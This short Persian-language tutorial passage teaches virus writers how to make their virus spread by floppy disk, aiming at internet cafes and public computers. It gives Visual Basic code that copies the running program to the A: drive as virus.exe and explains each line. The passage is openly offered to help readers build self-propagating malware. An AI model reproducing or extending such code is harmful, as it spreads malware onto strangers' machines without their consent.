منتشر شدن از راه فلاپی:

کی از راه های قدیمی ولی پرکاربرد ویروس ها برای منتشر شدن،فلاپی است.اگر ویروستان به کافی نت یا دیگر کامپیوتر های عمومی راه یافت و این قابلیت را داشت،می تواند به راحتی منتشر شود.کدهای زیر را در یک timer  کپی کنید:

On Error GoTo h

Set fso = CreateObject("Scripting.FileSystemObject")

mf = App.Path & "" & App.EXEName & ".exe"

If Dir("A:" & "virus.exe") = "" Then

FileCopy mf, "A:" & "virus.exe"

End If

h:

توضیح کدها:در خط اول می گوید که اگر برنامه error پیدا کرد،آن را به خط آخر منتقل کند.خط دوم هم که می دانید.در خط سوم،ویروس مسیر فایل خودش را می گیرد که برای کپی کردن خودش درون فلاپی نیاز است.در خط چهارم می گوید که اگر در فلاپی فایلی به نام virus.exe وجود ندارد،خودش را با نام virus.exe در فلاپی کپی کند.